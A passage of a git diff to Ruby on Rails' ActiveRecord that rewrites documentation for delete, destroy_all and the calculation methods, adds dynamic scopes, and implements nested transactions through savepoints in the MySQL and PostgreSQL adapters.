@owner.connection.insert(interpolate_sql(@reflection.options[:insert_sql], record))
else
- columns = @owner.connection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
-
attributes = columns.inject({}) do |attrs, column|
case column.name.to_s
when @reflection.primary_key_name.to_s
@@ -103,7 +109,7 @@ module ActiveRecord
# clause has been explicitly defined. Otherwise you can get broken records back, if, for example, the join column also has
# an id column. This will then overwrite the id column of the records coming back.
def finding_with_ambiguous_select?(select_clause)
- !select_clause && @owner.connection.columns(@reflection.options[:join_table], "Join Table Columns").size != 2
+ !select_clause && columns.size != 2
end
private
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index 9746a46d47..ebc0b7783f 100755
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -327,7 +327,7 @@ module ActiveRecord #:nodoc:
# User.find(user.id).preferences # => { "background" => "black", "display" => large }
#
# You can also specify a class option as the second parameter that'll raise an exception if a serialized object is retrieved as a
- # descendent of a class not in the hierarchy. Example:
+ # descendant of a class not in the hierarchy. Example:
#
# class User < ActiveRecord::Base
# serialize :preferences, Hash
@@ -544,8 +544,9 @@ module ActiveRecord #:nodoc:
# * <tt>:having</tt> - Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
# * <tt>:limit</tt> - An integer determining the limit on the number of rows that should be returned.
# * <tt>:offset</tt> - An integer determining the offset from where the rows should be fetched. So at 5, it would skip rows 0 through 4.
- # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed)
- # or named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s).
+ # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed),
+ # named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s),
+ # or an array containing a mixture of both strings and named associations.
# If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
# Pass <tt>:readonly => false</tt> to override.
# * <tt>:include</tt> - Names associations that should be loaded alongside. The symbols named refer
@@ -755,25 +756,26 @@ module ActiveRecord #:nodoc:
end
end
- # Delete an object (or multiple objects) where the +id+ given matches the primary_key. A SQL +DELETE+ command
- # is executed on the database which means that no callbacks are fired off running this. This is an efficient method
- # of deleting records that don't need cleaning up after or other actions to be taken.
+ # Deletes the row with a primary key matching the +id+ argument, using a
+ # SQL +DELETE+ statement, and returns the number of rows deleted. Active
+ # Record objects are not instantiated, so the object's callbacks are not
+ # executed, including any <tt>:dependent</tt> association options or
+ # Observer methods.
#
- # Objects are _not_ instantiated with this method, and so +:dependent+ rules
- # defined on associations are not honered.
+ # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
#
- # ==== Parameters
- #
- # * +id+ - Can be either an Integer or an Array of Integers.
+ # Note: Although it is often much faster than the alternative,
+ # <tt>#destroy</tt>, skipping callbacks might bypass business logic in
+ # your application that ensures referential integrity or performs other
+ # essential jobs.
#
# ==== Examples
#
- # # Delete a single object
+ # # Delete a single row
# Todo.delete(1)
#
- # # Delete multiple objects
- # todos = [1,2,3]
- # Todo.delete(todos)
+ # # Delete multiple rows
+ # Todo.delete([2,3,4])
def delete(id)
delete_all([ "#{connection.quote_column_name(primary_key)} IN (?)", id ])
end
@@ -849,25 +851,32 @@ module ActiveRecord #:nodoc:
connection.update(sql, "#{name} Update")
end
- # Destroys the records matching +conditions+ by instantiating each record and calling their +destroy+ method.
- # This means at least 2*N database queries to destroy N records, so avoid +destroy_all+ if you are deleting
- # many records. If you want to simply delete records without worrying about dependent associations or
- # callbacks, use the much faster +delete_all+ method instead.
+ # Destroys the records matching +conditions+ by instantiating each
+ # record and calling its +destroy+ method. Each object's callbacks are
+ # executed (including <tt>:dependent</tt> association options and
+ # +before_destroy+/+after_destroy+ Observer methods). Returns the
+ # collection of objects that were destroyed; each will be frozen, to
+ # reflect that no changes should be made (since they can't be
+ # persisted).
+ #
+ # Note: Instantiation, callback execution, and deletion of each
+ # record can be time consuming when you're removing many records at
+ # once. It generates at least one SQL +DELETE+ query per record (or
+ # possibly more, to enforce your callbacks). If you want to delete many
+ # rows quickly, without concern for their associations or callbacks, use
+ # +delete_all+ instead.
#
# ==== Parameters
#
- # * +conditions+ - Conditions are specified the same way as with +find+ method.
+ # * +conditions+ - A string, array, or hash that specifies which records
+ # to destroy. If omitted, all records are destroyed. See the
+ # Conditions section in the introduction to ActiveRecord::Base for
+ # more information.
#
- # ==== Example
+ # ==== Examples
#
# Person.destroy_all("last_login < '2004-04-04'")
- #
- # This loads and destroys each person one by one, including its dependent associations and before_ and
- # after_destroy callbacks.
- #
- # +conditions+ can be anything that +find+ also accepts:
- #
- # Person.destroy_all(:last_login => 6.hours.ago)
+ # Person.destroy_all(:status => "inactive")
def destroy_all(conditions = nil)
find(:all, :conditions => conditions).each { |object| object.destroy }
end
@@ -1456,7 +1465,10 @@ module ActiveRecord #:nodoc:
def respond_to?(method_id, include_private = false)
if match = DynamicFinderMatch.match(method_id)
return true if all_attributes_exists?(match.attribute_names)
+ elsif match = DynamicScopeMatch.match(method_id)
+ return true if all_attributes_exists?(match.attribute_names)
end
+
super
end
@@ -1799,17 +1811,19 @@ module ActiveRecord #:nodoc:
table_name
end
- # Enables dynamic finders like find_by_user_name(user_name) and find_by_user_name_and_password(user_name, password) that are turned into
- # find(:first, :conditions => ["user_name = ?", user_name]) and find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])
- # respectively. Also works for find(:all) by using find_all_by_amount(50) that is turned into find(:all, :conditions => ["amount = ?", 50]).
+ # Enables dynamic finders like <tt>find_by_user_name(user_name)</tt> and <tt>find_by_user_name_and_password(user_name, password)</tt>
+ # that are turned into <tt>find(:first, :conditions => ["user_name = ?", user_name])</tt> and
+ # <tt>find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])</tt> respectively. Also works for
+ # <tt>find(:all)</tt> by using <tt>find_all_by_amount(50)</tt> that is turned into <tt>find(:all, :conditions => ["amount = ?", 50])</tt>.
#
- # It's even possible to use all the additional parameters to find. For example, the full interface for find_all_by_amount
- # is actually find_all_by_amount(amount, options).
+ # It's even possible to use all the additional parameters to +find+. For example, the full interface for +find_all_by_amount+
+ # is actually <tt>find_all_by_amount(amount, options)</tt>.
#
- # This also enables you to initialize a record if it is not found, such as find_or_initialize_by_amount(amount)
- # or find_or_create_by_user_and_password(user, password).
+ # Also enables dynamic scopes like scoped_by_user_name(user_name) and scoped_by_user_name_and_password(user_name, password) that
+ # are turned into scoped(:conditions => ["user_name = ?", user_name]) and scoped(:conditions => ["user_name = ? AND password = ?", user_name, password])
+ # respectively.
#
- # Each dynamic finder or initializer/creator is also defined in the class after it is first invoked, so that future
+ # Each dynamic finder, scope or initializer/creator is also defined in the class after it is first invoked, so that future
# attempts to use it do not run through method_missing.
def method_missing(method_id, *arguments, &block)
if match = DynamicFinderMatch.match(method_id)
@@ -1818,10 +1832,31 @@ module ActiveRecord #:nodoc:
if match.finder?
finder = match.finder
bang = match.bang?
+ # def self.find_by_login_and_activated(*args)
+ # options = args.extract_options!
+ # attributes = construct_attributes_from_arguments(
+ # [:login,:activated],
+ # args
+ # )
+ # finder_options = { :conditions => attributes }
+ # validate_find_options(options)
+ # set_readonly_option!(options)
+ #
+ # if options[:conditions]
+ # with_scope(:find => finder_options) do
+ # find(:first, options)
+ # end
+ # else
+ # find(:first, options.merge(finder_options))
+ # end
+ # end
self.class_eval %{
def self.#{method_id}(*args)
options = args.extract_options!
- attributes = construct_attributes_from_arguments([:#{attribute_names.join(',:')}], args)
+ attributes = construct_attributes_from_arguments(
+ [:#{attribute_names.join(',:')}],
+ args
+ )
finder_options = { :conditions => attributes }
validate_find_options(options)
set_readonly_option!(options)
@@ -1839,6 +1874,31 @@ module ActiveRecord #:nodoc:
send(method_id, *arguments)
elsif match.instantiator?
instantiator = match.instantiator
+ # def self.find_or_create_by_user_id(*args)
+ # guard_protected_attributes = false
+ #
+ # if args[0].is_a?(Hash)
+ # guard_protected_attributes = true
+ # attributes = args[0].with_indifferent_access
+ # find_attributes = attributes.slice(*[:user_id])
+ # else
+ # find_attributes = attributes = construct_attributes_from_arguments([:user_id], args)
+ # end
+ #
+ # options = { :conditions => find_attributes }
+ # set_readonly_option!(options)
+ #
+ # record = find(:first, options)
+ #
+ # if record.nil?
+ # record = self.new { |r| r.send(:attributes=, attributes, guard_protected_attributes) }
+ # yield(record) if block_given?
+ # record.save
+ # record
+ # else
+ # record
+ # end
+ # end
self.class_eval %{
def self.#{method_id}(*args)
guard_protected_attributes = false
@@ -1868,6 +1928,22 @@ module ActiveRecord #:nodoc:
}, __FILE__, __LINE__
send(method_id, *arguments, &block)
end
+ elsif match = DynamicScopeMatch.match(method_id)
+ attribute_names = match.attribute_names
+ super unless all_attributes_exists?(attribute_names)
+ if match.scope?
+ self.class_eval %{
+ def self.#{method_id}(*args) # def self.scoped_by_user_name_and_password(*args)
+ options = args.extract_options! # options = args.extract_options!
+ attributes = construct_attributes_from_arguments( # attributes = construct_attributes_from_arguments(
+ [:#{attribute_names.join(',:')}], args # [:user_name, :password], args
+ ) # )
+ #
+ scoped(:conditions => attributes) # scoped(:conditions => attributes)
+ end # end
+ }, __FILE__, __LINE__
+ send(method_id, *arguments)
+ end
else
super
end
@@ -1963,7 +2039,11 @@ module ActiveRecord #:nodoc:
# end
#
# In nested scopings, all previous parameters are overwritten by the innermost rule, with the exception of
- # <tt>:conditions</tt> and <tt>:include</tt> options in <tt>:find</tt>, which are merged.
+ # <tt>:conditions</tt>, <tt>:include</tt>, and <tt>:joins</tt> options in <tt>:find</tt>, which are merged.
+ #
+ # <tt>:joins</tt> options are uniqued so multiple scopes can join in the same table without table aliasing
+ # problems. If you need to join multiple tables, but still want one of the tables to be uniqued, use the
+ # array of strings format for your joins.
#
# class Article < ActiveRecord::Base
# def self.find_with_scope
@@ -2087,7 +2167,7 @@ module ActiveRecord #:nodoc:
scoped_methods.last
end
- # Returns the class type of the record using the current module as a prefix. So descendents of
+ # Returns the class type of the record using the current module as a prefix. So descendants of
# MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
def compute_type(type_name)
modularized_name = type_name_with_module(type_name)
@@ -2100,7 +2180,8 @@ module ActiveRecord #:nodoc:
end
end
- # Returns the class descending directly from Active Record in the inheritance hierarchy.
+ # Returns the class descending directly from ActiveRecord::Base or an
+ # abstract class, if any, in the inheritance hierarchy.
def class_of_active_record_descendant(klass)
if klass.superclass == Base || klass.superclass.abstract_class?
klass
@@ -2406,9 +2487,9 @@ module ActiveRecord #:nodoc:
write_attribute(self.class.primary_key, value)
end
- # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet.
+ # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet; otherwise, returns false.
def new_record?
- defined?(@new_record) && @new_record
+ @new_record || false
end
# :call-seq:
@@ -2449,14 +2530,16 @@ module ActiveRecord #:nodoc:
create_or_update || raise(RecordNotSaved)
end
- # Deletes the record in the database and freezes this instance to reflect that no changes should
- # be made (since they can't be persisted).
+ # Deletes the record in the database and freezes this instance to
+ # reflect that no changes should be made (since they can't be
+ # persisted). Returns the frozen instance.
+ #
+ # The row is simply removed with a SQL +DELETE+ statement on the
+ # record's primary key, and no callbacks are executed.
#
- # Unlike #destroy, this method doesn't run any +before_delete+ and +after_delete+
- # callbacks, nor will it enforce any association +:dependent+ rules.
- #
- # In addition to deleting this record, any defined +before_delete+ and +after_delete+
- # callbacks are run, and +:dependent+ rules defined on associations are run.
+ # To enforce the object's +before_destroy+ and +after_destroy+
+ # callbacks, Observer methods, or any <tt>:dependent</tt> association
+ # options, use <tt>#destroy</tt>.
def delete
self.class.delete(id) unless new_record?
freeze
@@ -2657,7 +2740,19 @@ module ActiveRecord #:nodoc:
end
end
- # Format attributes nicely for inspect.
+ # Returns an <tt>#inspect</tt>-like string for the value of the
+ # attribute +attr_name+. String attributes are elided after 50
+ # characters, and Date and Time attributes are returned in the
+ # <tt>:db</tt> format. Other attributes return the value of
+ # <tt>#inspect</tt> without modification.
+ #
+ # person = Person.create!(:name => "David Heinemeier Hansson " * 3)
+ #
+ # person.attribute_for_inspect(:name)
+ # # => '"David Heinemeier Hansson David Heinemeier Hansson D..."'
+ #
+ # person.attribute_for_inspect(:created_at)
+ # # => '"2009-01-12 04:48:57"'
def attribute_for_inspect(attr_name)
value = read_attribute(attr_name)
@@ -2786,7 +2881,7 @@ module ActiveRecord #:nodoc:
id
end
- # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendent.
+ # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendant.
# Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to do Reply.new without having to
# set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself. No such attribute would be set for objects of the
# Message class in that example.
diff --git a/activerecord/lib/active_record/calculations.rb b/activerecord/lib/active_record/calculations.rb
index 65512d534a..b239c03284 100644
--- a/activerecord/lib/active_record/calculations.rb
+++ b/activerecord/lib/active_record/calculations.rb
@@ -48,30 +48,38 @@ module ActiveRecord
calculate(:count, *construct_count_options_from_args(*args))
end
- # Calculates the average value on a given column. The value is returned as a float. See +calculate+ for examples with options.
+ # Calculates the average value on a given column. The value is returned as
+ # a float, or +nil+ if there's no row. See +calculate+ for examples with
+ # options.
#
- # Person.average('age')
+ # Person.average('age') # => 35.8
def average(column_name, options = {})
calculate(:avg, column_name, options)
end
- # Calculates the minimum value on a given column. The value is returned with the same data type of the column. See +calculate+ for examples with options.
+ # Calculates the minimum value on a given column. The value is returned
+ # with the same data type of the column, or +nil+ if there's no row. See
+ # +calculate+ for examples with options.
#
- # Person.minimum('age')
+ # Person.minimum('age') # => 7
def minimum(column_name, options = {})
calculate(:min, column_name, options)
end
- # Calculates the maximum value on a given column. The value is returned with the same data type of the column. See +calculate+ for examples with options.
+ # Calculates the maximum value on a given column. The value is returned
+ # with the same data type of the column, or +nil+ if there's no row. See
+ # +calculate+ for examples with options.
#
- # Person.maximum('age')
+ # Person.maximum('age') # => 93
def maximum(column_name, options = {})
calculate(:max, column_name, options)
end
- # Calculates the sum of values on a given column. The value is returned with the same data type of the column. See +calculate+ for examples with options.
+ # Calculates the sum of values on a given column. The value is returned
+ # with the same data type of the column, 0 if there's no row. See
+ # +calculate+ for examples with options.
#
- # Person.sum('age')
+ # Person.sum('age') # => 4562
def sum(column_name, options = {})
calculate(:sum, column_name, options)
end
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 42bfe34505..88958f4583 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -77,7 +77,7 @@ module ActiveRecord
#
# In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+. So, use the callback macros when
# you want to ensure that a certain callback is called for the entire hierarchy, and use the regular overwriteable methods
- # when you want to leave it up to each descendent to decide whether they want to call +super+ and trigger the inherited callbacks.
+ # when you want to leave it up to each descendant to decide whether they want to call +super+ and trigger the inherited callbacks.
#
# *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the callbacks before specifying the
# associations. Otherwise, you might trigger the loading of a child before the parent has registered the callbacks and they won't
@@ -219,8 +219,9 @@ module ActiveRecord
def after_save() end
def create_or_update_with_callbacks #:nodoc:
return false if callback(:before_save) == false
- result = create_or_update_without_callbacks
- callback(:after_save)
+ if result = create_or_update_without_callbacks
+ callback(:after_save)
+ end
result
end
private :create_or_update_with_callbacks
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 189c6c7b5a..08601da00a 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -53,36 +53,124 @@ module ActiveRecord
def delete(sql, name = nil)
delete_sql(sql, name)
end
+
+ # Checks whether there is currently no transaction active. This is done
+ # by querying the database driver, and does not use the transaction
+ # house-keeping information recorded by #increment_open_transactions and
+ # friends.
+ #
+ # Returns true if there is no transaction active, false if there is a
+ # transaction active, and nil if this information is unknown.
+ #
+ # Not all adapters supports transaction state introspection. Currently,
+ # only the PostgreSQL adapter supports this.
+ def outside_transaction?
+ nil
+ end
+
+ # Runs the given block in a database transaction, and returns the result
+ # of the block.
+ #
+ # == Nested transactions support
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that supports true nested transactions that
+ # we're aware of, is MS-SQL.
+ #
+ # In order to get around this problem, #transaction will emulate the effect
+ # of nested transactions, by using savepoints:
+ # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
+ # Savepoints are supported by MySQL and PostgreSQL, but not SQLite3.
+ #
+ # It is safe to call this method if a database transaction is already open,
+ # i.e. if #transaction is called within another #transaction block. In case
+ # of a nested call, #transaction will behave as follows:
+ #
+ # - The block will be run without doing anything. All database statements
+ # that happen within the block are effectively appended to the already
+ # open database transaction.
+ # - However, if +:requires_new+ is set, the block will be wrapped in a
+ # database savepoint acting as a sub-transaction.
+ #
+ # === Caveats
+ #
+ # MySQL doesn't support DDL transactions. If you perform a DDL operation,
+ # then any created savepoints will be automatically released. For example,
+ # if you've created a savepoint, then you execute a CREATE TABLE statement,
+ # then the savepoint that was created will be automatically released.
+ #
+ # This means that, on MySQL, you shouldn't execute DDL operations inside
+ # a #transaction call that you know might create a savepoint. Otherwise,
+ # #transaction will raise exceptions when it tries to release the
+ # already-automatically-released savepoints:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(:requires_new => true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...)
+ # # active_record_1 now automatically released
+ # end # RELEASE SAVEPOINT active_record_1 <--- BOOM! database error!
+ # end
+ def transaction(options = {})
+ options.assert_valid_keys :requires_new, :joinable
+
+ last_transaction_joinable = @transaction_joinable
+ if options.has_key?(:joinable)
+ @transaction_joinable = options[:joinable]
+ else
+ @transaction_joinable = true
+ end
+ requires_new = options[:requires_new] || !last_transaction_joinable
- # Wrap a block in a transaction. Returns result of block.
- def transaction(start_db_transaction = true)
transaction_open = false
begin
if block_given?
- if start_db_transaction
- begin_db_transaction
+ if requires_new || open_transactions == 0
+ if open_transactions == 0
+ begin_db_transaction
+ elsif requires_new
+ create_savepoint
+ end
+ increment_open_transactions
transaction_open = true
end
yield
end
rescue Exception => database_transaction_rollback
- if transaction_open
+ if transaction_open && !outside_transaction?
transaction_open = false
- rollback_db_transaction
+ decrement_open_transactions
+ if open_transactions == 0
+ rollback_db_transaction
+ else
+ rollback_to_savepoint
+ end
end
- raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
+ raise unless database_transaction_rollback.is_a?(ActiveRecord::Rollback)
end
ensure
- if transaction_open
+ @transaction_joinable = last_transaction_joinable
+
+ if outside_transaction?
+ @open_transactions = 0
+ elsif transaction_open
+ decrement_open_transactions
begin
- commit_db_transaction
+ if open_transactions == 0
+ commit_db_transaction
+ else
+ release_savepoint
+ end
rescue Exception => database_transaction_rollback
- rollback_db_transaction
+ if open_transactions == 0
+ rollback_db_transaction
+ else
+ rollback_to_savepoint
+ end
raise
end
end
end
-
+
# Begins the transaction (and turns off auto-committing).
def begin_db_transaction() end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 950bd72101..00c71090f3 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -14,12 +14,12 @@ module ActiveRecord
def dirties_query_cache(base, *method_names)
method_names.each do |method_name|
base.class_eval <<-end_code, __FILE__, __LINE__
- def #{method_name}_with_query_dirty(*args)
- clear_query_cache if @query_cache_enabled
- #{method_name}_without_query_dirty(*args)
- end
-
- alias_method_chain :#{method_name}, :query_dirty
+ def #{method_name}_with_query_dirty(*args) # def update_with_query_dirty(*args)
+ clear_query_cache if @query_cache_enabled # clear_query_cache if @query_cache_enabled
+ #{method_name}_without_query_dirty(*args) # update_without_query_dirty(*args)
+ end # end
+ #
+ alias_method_chain :#{method_name}, :query_dirty # alias_method_chain :update, :query_dirty
end_code
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index fe9cbcf024..273f823e7f 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -476,12 +476,12 @@ module ActiveRecord
%w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
class_eval <<-EOV
- def #{column_type}(*args)
- options = args.extract_options!
- column_names = args
-
- column_names.each { |name| column(name, '#{column_type}', options) }
- end
+ def #{column_type}(*args) # def string(*args)
+ options = args.extract_options! # options = args.extract_options!
+ column_names = args # column_names = args
+ #
+ column_names.each { |name| column(name, '#{column_type}', options) } # column_names.each { |name| column(name, 'string', options) }
+ end # end
EOV
end
@@ -676,24 +676,24 @@ module ActiveRecord
# t.string(:goat, :sheep)
%w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
class_eval <<-EOV
- def #{column_type}(*args)
- options = args.extract_options!
- column_names = args
-
- column_names.each do |name|
- column = ColumnDefinition.new(@base, name, '#{column_type}')
- if options[:limit]
- column.limit = options[:limit]
- elsif native['#{column_type}'.to_sym].is_a?(Hash)
- column.limit = native['#{column_type}'.to_sym][:limit]
- end
- column.precision = options[:precision]
- column.scale = options[:scale]
- column.default = options[:default]
- column.null = options[:null]
- @base.add_column(@table_name, name, column.sql_type, options)
- end
- end
+ def #{column_type}(*args) # def string(*args)
+ options = args.extract_options! # options = args.extract_options!
+ column_names = args # column_names = args
+ #
+ column_names.each do |name| # column_names.each do |name|
+ column = ColumnDefinition.new(@base, name, '#{column_type}') # column = ColumnDefinition.new(@base, name, 'string')
+ if options[:limit] # if options[:limit]
+ column.limit = options[:limit] # column.limit = options[:limit]
+ elsif native['#{column_type}'.to_sym].is_a?(Hash) # elsif native['string'.to_sym].is_a?(Hash)
+ column.limit = native['#{column_type}'.to_sym][:limit] # column.limit = native['string'.to_sym][:limit]
+ end # end
+ column.precision = options[:precision] # column.precision = options[:precision]
+ column.scale = options[:scale] # column.scale = options[:scale]
+ column.default = options[:default] # column.default = options[:default]
+ column.null = options[:null] # column.null = options[:null]
+ @base.add_column(@table_name, name, column.sql_type, options) # @base.add_column(@table_name, name, column.sql_type, options)
+ end # end
+ end # end
EOV
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index bfafcfb3ab..a8cd9f033b 100755
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -66,6 +66,12 @@ module ActiveRecord
def supports_ddl_transactions?
false
end
+
+ # Does this adapter support savepoints? PostgreSQL and MySQL do, SQLite
+ # does not.
+ def supports_savepoints?
+ false
+ end
# Should primary key values be selected from their corresponding
# sequence before the insert statement? If true, next_sequence_value
@@ -160,6 +166,23 @@ module ActiveRecord
@open_transactions -= 1
end
+ def transaction_joinable=(joinable)
+ @transaction_joinable = joinable
+ end
+
+ def create_savepoint
+ end
+
+ def rollback_to_savepoint
+ end
+
+ def release_savepoint
+ end
+
+ def current_savepoint_name
+ "active_record_#{open_transactions}"
+ end
+
def log_info(sql, name, ms)
if @logger && @logger.debug?
name = '%s (%.1fms)' % [name || 'SQL', ms]
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 46d4b6c89c..b2345fd571 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -13,23 +13,25 @@ module MysqlCompat #:nodoc:
# C driver >= 2.7 returns null values in each_hash
if Mysql.const_defined?(:VERSION) && (Mysql::VERSION.is_a?(String) || Mysql::VERSION >= 20700)
target.class_eval <<-'end_eval'
- def all_hashes
- rows = []
- each_hash { |row| rows << row }
- rows
- end
+ def all_hashes # def all_hashes
+ rows = [] # rows = []
+ each_hash { |row| rows << row } # each_hash { |row| rows << row }
+ rows # rows
+ end # end
end_eval
# adapters before 2.7 don't have a version constant
# and don't return null values in each_hash
else
target.class_eval <<-'end_eval'
- def all_hashes
- rows = []
- all_fields = fetch_fields.inject({}) { |fields, f| fields[f.name] = nil; fields }
- each_hash { |row| rows << all_fields.dup.update(row) }
- rows
- end
+ def all_hashes # def all_hashes
+ rows = [] # rows = []
+ all_fields = fetch_fields.inject({}) { |fields, f| # all_fields = fetch_fields.inject({}) { |fields, f|
+ fields[f.name] = nil; fields # fields[f.name] = nil; fields
+ } # }
+ each_hash { |row| rows << all_fields.dup.update(row) } # each_hash { |row| rows << all_fields.dup.update(row) }
+ rows # rows
+ end # end
end_eval
end
@@ -208,6 +210,10 @@ module ActiveRecord
def supports_migrations? #:nodoc:
true
end
+
+ def supports_savepoints? #:nodoc:
+ true
+ end
def native_database_types #:nodoc:
NATIVE_DATABASE_TYPES
@@ -347,6 +353,17 @@ module ActiveRecord
# Transactions aren't supported
end
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
def add_limit_offset!(sql, options) #:nodoc:
if limit = options[:limit]
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 60ec01b95e..913bb521ca 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -272,6 +272,10 @@ module ActiveRecord
def supports_ddl_transactions?
true
end
+
+ def supports_savepoints?
+ true
+ end
# Returns the configured supported identifier length supported by PostgreSQL,
# or report the default of 63 on PostgreSQL 7.x.
@@ -528,45 +532,26 @@ module ActiveRecord
def rollback_db_transaction
execute "ROLLBACK"
end
+
+ if defined?(PGconn::PQTRANS_IDLE)
+ # The ruby-pg driver supports inspecting the transaction status,
+ # while the ruby-postgres driver does not.
+ def outside_transaction?
+ @connection.transaction_status == PGconn::PQTRANS_IDLE
+ end
+ end
- # ruby-pg defines Ruby constants for transaction status,
- # ruby-postgres does not.
- PQTRANS_IDLE = defined?(PGconn::PQTRANS_IDLE) ? PGconn::PQTRANS_IDLE : 0
-
- # Check whether a transaction is active.
- def transaction_active?
- @connection.transaction_status != PQTRANS_IDLE
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
end
- # Wrap a block in a transaction. Returns result of block.
- def transaction(start_db_transaction = true)
- transaction_open = false
- begin
- if block_given?
- if start_db_transaction
- begin_db_transaction
- transaction_open = true
- end
- yield
- end
- rescue Exception => database_transaction_rollback
- if transaction_open && transaction_active?
- transaction_open = false
- rollback_db_transaction
- end
- raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
- end
- ensure
- if transaction_open && transaction_active?
- begin
- commit_db_transaction
- rescue Exception => database_transaction_rollback
- rollback_db_transaction
- raise
- end
- end
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
end
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
# SCHEMA STATEMENTS ========================================
@@ -950,13 +935,13 @@ module ActiveRecord
# should know about this but can't detect it there, so deal with it here.
money_precision = (postgresql_version >= 80300) ? 19 : 10
PostgreSQLColumn.module_eval(<<-end_eval)
- def extract_precision(sql_type)
- if sql_type =~ /^money$/
- #{money_precision}
- else
- super
- end
- end
+ def extract_precision(sql_type) # def extract_precision(sql_type)
+ if sql_type =~ /^money$/ # if sql_type =~ /^money$/
+ #{money_precision} # 19
+ else # else
+ super # super
+ end # end
+ end # end
end_eval
configure_connection
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
index 84f8c0284e..9387cf8827 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
@@ -402,6 +402,10 @@ module ActiveRecord
end
def add_column(table_name, column_name, type, options = {}) #:nodoc:
+ if @connection.respond_to?(:transaction_active?) && @connection.transaction_active?
+ raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction'
+ end
+
alter_table(table_name) do |definition|
definition.column(column_name, type, options)
end
diff --git a/activerecord/lib/active_record/dirty.rb b/activerecord/lib/active_record/dirty.rb
index a1760875ba..4a2510aa63 100644
--- a/activerecord/lib/active_record/dirty.rb
+++ b/activerecord/lib/active_record/dirty.rb
@@ -151,8 +151,8 @@ module ActiveRecord
def field_changed?(attr, old, value)
if column = column_for_attribute(attr)
- if column.type == :integer && column.null && (old.nil? || old == 0) && value.blank?
- # For nullable integer columns, NULL gets stored in database for blank (i.e. '') values.
+ if column.number? && column.null && (old.nil? || old == 0) && value.blank?
+ # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
# Hence we don't record it as a change if the value changes from nil to ''.
